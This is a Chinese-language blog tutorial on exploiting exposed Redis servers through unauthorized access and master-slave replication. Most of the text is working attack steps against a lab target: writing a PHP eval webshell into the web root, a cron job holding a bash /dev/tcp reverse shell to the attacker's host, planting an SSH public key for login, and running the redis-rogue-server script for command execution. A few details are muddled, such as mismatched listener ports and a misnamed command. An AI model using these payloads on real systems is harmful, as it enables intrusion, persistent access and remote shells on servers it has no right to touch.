Redis漏洞利用
阿新 • • 發佈:2021-08-01
一、Redis介紹
Redis是一個開源的高效能鍵值資料庫。最熱門的NoSq資料庫之一,也被人們稱為資料結構伺服器。
預設埠:6379
可能存在的漏洞:未授權訪問、主從複製
二、Redis相關漏洞利用
2.1、未授權訪問
2.1.1、存在原因
未設定密碼或者設定弱密碼
bind 127.0.0.1 被註釋了,所有機器都可以訪問
protected-mode no 關閉安全模式
使用root許可權
等
(被攻擊機器)靶機安裝好一個redis後,修改redis.conf後以root許可權啟動。
2.1.2、常用命令
- 檢視資訊:info
- 刪除所有資料庫內容:flushable
- 重新整理資料庫:flush
- 看所有鍵:KEYS*,使用 select nun可以檢視鍵值資料。
- 設定變數:set test“who am i
- config set dir dirpath設定路徑等配置
- config get dir/filename獲取路徑及資料配置資訊
- save儲存
- get變數,檢視變數名稱
- 刪除Key:DEL KEY_NAME
2.1.3、利用方法
(1)獲取資料庫資訊
redis-cli -h 192.168.31.152
即可成功進入到目標(192.168.31.152)redisl
檢視redis版本相關資訊,也判斷是否存在密碼
info
成功顯示資訊代表沒有密碼
獲取預設的redis目錄、和rdb檔名:可以在修改前先獲取,然後走的時候再恢復。
CONFIG GET dir #設定目錄
CONFIG GET dbfilename #設定檔名
(2)寫webshell
config set dir /var/www/html/ #切換目錄到網站的根目錄(根據實際情況來)
set x "\n\n\n<?php phpinfo();?>\n\n\n" #寫入惡意程式碼phpinfo()
set xx "\n\n\n<?php @eval($_POST['-7']);?>\n\n\n" #寫入一句話木馬
config set dbfilename shell.php #生成木馬檔案shell.php
save #進行儲存
成功寫入到目標機
(3)寫定時任務反彈shell
先在自己的伺服器上監聽一個埠
nc -lvnp 9999 #攻擊機監聽自己的7999埠
redis-cli -h 192.168.31.152 #進入對方redis
set xx "\n* * * * * bash -i >& /dev/tcp/192.168.31.116/7999 0>&1\n" #設定變數值為反彈shell語句
config set dir /var/spool/cron/ #設定目錄為目標機定時任務目錄
config set dbfilename root #設定檔名
save #儲存
寫入成功
但是一直nc沒有接收到
查了下是因為存在亂碼,centos會忽略亂碼去執行格式正確的任務計劃
而ubuntu並不會忽略這些亂碼,所以導致命令執行失敗
推薦可以親自驗證一下
(4)寫入Linux ssh-key公鑰,然後通過私鑰直接登入。
攻擊機:192.168.31.116
生成金鑰
ssh-keygen -t rsa
將公鑰內容匯出到文字中
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
寫入目標機器
cat key.txt | redis-cli -h 192.168.31.152 -x set xxx
設定路徑、檔名儲存,路徑根據實際情況來改動
寫入成功
ssh -i id_rsa 192.168.31.152
登入成功
2.2、主從複製
2.2.1、漏洞版本
主從複製存在漏洞的版本
Redis <= 5.0.5
2.2.2、環境部署
docker pull damonevking/redis5.0
docker run -p 6379:6379 -d damonevking/redis5.0 redis-server
2.2.3、攻擊原理
Redis是一個使用ANSIC編寫的開源、支援網路、基於記憶體、可選永續性的鍵值對儲存資料庫。
但如果當把資料儲存在單個Redis的例項中,當讀寫體量比較大的時候,服務端就很難承受。為了應對這種情況,Redis就提供了主從模式,主從模式就是指使用一個redis例項作為主機,其他例項都作為備份機,其中主機和從機資料相同,而從機只負責讀,主機只負責寫,通過讀寫分離可以大幅度減輕流量的壓力,算是一種通過犧牲空間來換取效率的緩解方式。 攻擊者(主機)寫一個so檔案,然後通過 FULLRESYNC(全域性)同步檔案到受害人(從機)上。
2.2.4、利用方式
利用指令碼
https://github.com/n0b0dyCN/redis-rogue-server
執行後可直接進行命令執行
python3 redis-rogue-server.py --rhost 192.168.31.152 --lhost 192.168.31.146 --exp=exp.so
指令碼相關,看github上的指令碼介紹即可。